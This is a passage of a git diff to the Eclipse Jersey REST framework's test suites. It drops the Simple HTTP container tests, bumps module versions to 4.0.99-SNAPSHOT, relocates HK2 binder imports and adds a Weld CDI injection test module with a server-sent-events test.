             new InMemoryTestContainerFactory(),
-            new SimpleTestContainerFactory(),
             new JettyTestContainerFactory());
 
     public static Stream<TestContainerFactory> parameters() throws Exception {
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
index 54bbf12..22dda62 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,7 +38,6 @@
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -55,8 +54,7 @@
  */
 @Suite
 @SelectClasses({Jersey2462Test.GrizzlyContainerTest.class,
-        Jersey2462Test.JettyContainerTest.class,
-        Jersey2462Test.SimpleContainerTest.class})
+        Jersey2462Test.JettyContainerTest.class})
 public class Jersey2462Test {
     private static final String REQUEST_NUMBER = "request-number";
 
@@ -209,68 +207,6 @@
     }
 
     /**
-     * Filter testing Simple framework request/response injection support into singleton providers.
-     */
-    @PreMatching
-    public static class SimpleRequestFilter implements ContainerRequestFilter {
-        @Inject
-        private org.simpleframework.http.Request simpleRequest;
-        @Inject
-        private org.simpleframework.http.Response simpleResponse;
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException {
-            StringBuilder sb = new StringBuilder();
-
-            // First, make sure there are no null injections.
-            if (simpleRequest == null) {
-                sb.append("Simple HTTP framework Request is null.\n");
-            }
-            if (simpleResponse == null) {
-                sb.append("Simple HTTP framework Response is null.\n");
-            }
-
-            if (sb.length() > 0) {
-                ctx.abortWith(Response.serverError().entity(sb.toString()).build());
-            }
-
-            // let's also test some method calls
-            int flags = 0;
-
-            if ("/echo".equals(simpleRequest.getAddress().getPath().getPath())) {
-                flags += 1;
-            }
-            if (!simpleResponse.isCommitted()) {
-                flags += 10;
-            }
-            final String header = simpleRequest.getValue(REQUEST_NUMBER);
-
-            ctx.setEntityStream(new ByteArrayInputStream(("filtered-" + flags + "-" + header).getBytes()));
-        }
-    }
-
-    public static class SimpleContainerTest extends JerseyTest {
-        @Override
-        protected DeploymentContext configureDeployment() {
-            return DeploymentContext.builder(new ResourceConfig(EchoResource.class, SimpleRequestFilter.class))
-                    .build();
-        }
-
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            return new SimpleTestContainerFactory();
-        }
-
-        /**
-         * Reproducer for JERSEY-2462 on Grizzly container.
-         */
-        @Test
-        public void testReqestReponseInjectionIntoSingletonProvider() {
-            Jersey2462Test.testReqestReponseInjectionIntoSingletonProvider(target());
-        }
-    }
-
-    /**
      * Reproducer method for JERSEY-2462.
      */
     public static void testReqestReponseInjectionIntoSingletonProvider(WebTarget target) {
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
index f6bb0b7..03c84be 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,6 @@
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
 import org.glassfish.jersey.test.netty.NettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
 /**
@@ -38,7 +37,6 @@
     private static final List<TestContainerFactory> FACTORIES = listContainerFactories(
             new GrizzlyTestContainerFactory(),
             new InMemoryTestContainerFactory(),
-            new SimpleTestContainerFactory(),
             new JdkHttpServerTestContainerFactory(),
             new JettyTestContainerFactory(),
             new NettyTestContainerFactory()
diff --git a/tests/integration/asm/pom.xml b/tests/integration/asm/pom.xml
index b58b4bf..2fed923 100644
--- a/tests/integration/asm/pom.xml
+++ b/tests/integration/asm/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/async-jersey-filter/pom.xml b/tests/integration/async-jersey-filter/pom.xml
index 4a027e6..7c044c6 100644
--- a/tests/integration/async-jersey-filter/pom.xml
+++ b/tests/integration/async-jersey-filter/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>async-jersey-filter</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
index aa595c5..6e95223 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-beanvalidation-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java
index 639ce81..a0e1998 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/CdiValidationResultBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,8 +24,8 @@
 
 import org.glassfish.jersey.ext.cdi1x.internal.CdiUtil;
 import org.glassfish.jersey.ext.cdi1x.internal.GenericCdiBeanSupplier;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.spi.ComponentProvider;
 
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java
index 250fb2f..efdb1b8 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2Application.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 
 import jakarta.enterprise.inject.Vetoed;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
 
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java
index a531b9a..778499f 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/src/main/java/org/glassfish/jersey/tests/cdi/bv/Hk2ValidationInterceptor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,7 +30,7 @@
 import jakarta.validation.ConstraintViolationException;
 import jakarta.validation.ValidationException;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.spi.ValidationInterceptor;
 import org.glassfish.jersey.server.spi.ValidationInterceptorContext;
 
diff --git a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
index 07f2c31..81d39f3 100644
--- a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-client-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client/pom.xml b/tests/integration/cdi-integration/cdi-client/pom.xml
index 1c0fe73..f02878e 100644
--- a/tests/integration/cdi-integration/cdi-client/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-client</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
index 43f7d13..7082bde 100644
--- a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-ejb-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
index d20cc9d..b4232ae 100644
--- a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-iface-with-non-jaxrs-impl-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-inject-weld-test/pom.xml b/tests/integration/cdi-integration/cdi-inject-weld-test/pom.xml
new file mode 100644
index 0000000..7a8a675
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-inject-weld-test/pom.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
+        <artifactId>cdi-integration-project</artifactId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>cdi-inject-weld-test</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-tests-cdi-inject-weld</name>
+
+    <description>Jersey CDI Inject-Weld Tests</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>jakarta.ws.rs-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.enterprise</groupId>
+            <artifactId>jakarta.enterprise.cdi-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-sse</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-bundle</artifactId>
+            <type>pom</type>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.incubator</groupId>
+            <artifactId>jersey-cdi-inject-weld</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.weld.se</groupId>
+            <artifactId>weld-se-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <configuration>
+                    <skipTests>${skip.tests}</skipTests>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+</project>
diff --git a/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/java/org/glassfish/jersey/tests/cdi/inject/weld/SseTest.java b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/java/org/glassfish/jersey/tests/cdi/inject/weld/SseTest.java
new file mode 100644
index 0000000..60bf019
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/java/org/glassfish/jersey/tests/cdi/inject/weld/SseTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.inject.weld;
+
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.Injections;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseySingleContainerTest;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import jakarta.enterprise.inject.se.SeContainer;
+import jakarta.enterprise.inject.se.SeContainerInitializer;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.sse.Sse;
+import jakarta.ws.rs.sse.SseEventSink;
+import jakarta.ws.rs.sse.SseEventSource;
+
+public class SseTest extends JerseySingleContainerTest {
+    protected static SeContainer container;
+    protected InjectionManager injectionManager;
+
+    @BeforeAll
+    public static void setup() {
+        SeContainerInitializer containerInitializer = SeContainerInitializer.newInstance();
+        container = containerInitializer.initialize();
+    }
+
+    @AfterAll
+    public static void weldTearDown() throws Exception {
+        container.close();
+    }
+
+    @Path("/sse")
+    public static class SseResource {
+        @GET
+        @Produces(MediaType.SERVER_SENT_EVENTS)
+        public void eventStream(@Context SseEventSink eventSink, @Context Sse sse) throws Exception {
+            try (SseEventSink sink = eventSink) {
+                eventSink.send(sse.newEvent("event1"));
+                eventSink.send(sse.newEvent("event2"));
+                eventSink.send(sse.newEvent("event3"));
+            }
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(SseResource.class);
+    }
+
+    @Test
+    public void sseBinderTest() {
+        injectionManager = Injections.createInjectionManager();
+        injectionManager.completeRegistration();
+
+        Sse sse = injectionManager.getInstance(Sse.class);
+        Assertions.assertEquals("org.glassfish.jersey.media.sse.internal.JerseySse", sse.getClass().getName());
+
+        injectionManager.shutdown();
+    }
+
+    @Test
+    public void sseTest() {
+        WebTarget target = target("sse");
+        try (SseEventSource source = SseEventSource.target(target).build()) {
+            source.register(System.out::println);
+            source.open();
+            Thread.sleep(500); // Consume events for just 500 ms
+        } catch (InterruptedException e) {
+        }
+    }
+}
diff --git a/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/resources/META-INF/beans.xml
new file mode 100644
index 0000000..c175b60
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/resources/META-INF/beans.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<beans xmlns="https://jakarta.ee/xml/ns/jakartaee"
+       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/beans_4_0.xsd"
+       version="4.0" bean-discovery-mode="all">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-log-check/pom.xml b/tests/integration/cdi-integration/cdi-log-check/pom.xml
index f0ba288..34fe7ed 100644
--- a/tests/integration/cdi-integration/cdi-log-check/pom.xml
+++ b/tests/integration/cdi-integration/cdi-log-check/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-log-check</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
index 0ae6627..d32f56a 100644
--- a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
+++ b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java b/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java
index e66dd03..29c8567 100644
--- a/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java
+++ b/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.cdi.manuallybound;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 
 import jakarta.inject.Singleton;
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
index e64b9e2..c9294d6 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
index b0068ed..f3a5ae7 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
index 595318d..ebb7daf 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-multimodule</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
index 03cea2b..4e9926e 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
index 040fb6e..c5e481e 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
index 1736945..6935be9 100644
--- a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-multipart-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
index c1bfc72..81493ac 100644
--- a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-singleton/pom.xml b/tests/integration/cdi-integration/cdi-singleton/pom.xml
index acb9551..13d9d2e 100644
--- a/tests/integration/cdi-integration/cdi-singleton/pom.xml
+++ b/tests/integration/cdi-integration/cdi-singleton/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
index 2da1124..6f1f732 100644
--- a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
+++ b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
index 3d9a471..880adc1 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java
index ba09eed..9c6a8b5 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,6 @@
 import jakarta.ws.rs.ext.ExceptionMapper;
 import jakarta.ws.rs.ext.Provider;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 
 /**
@@ -36,7 +35,6 @@
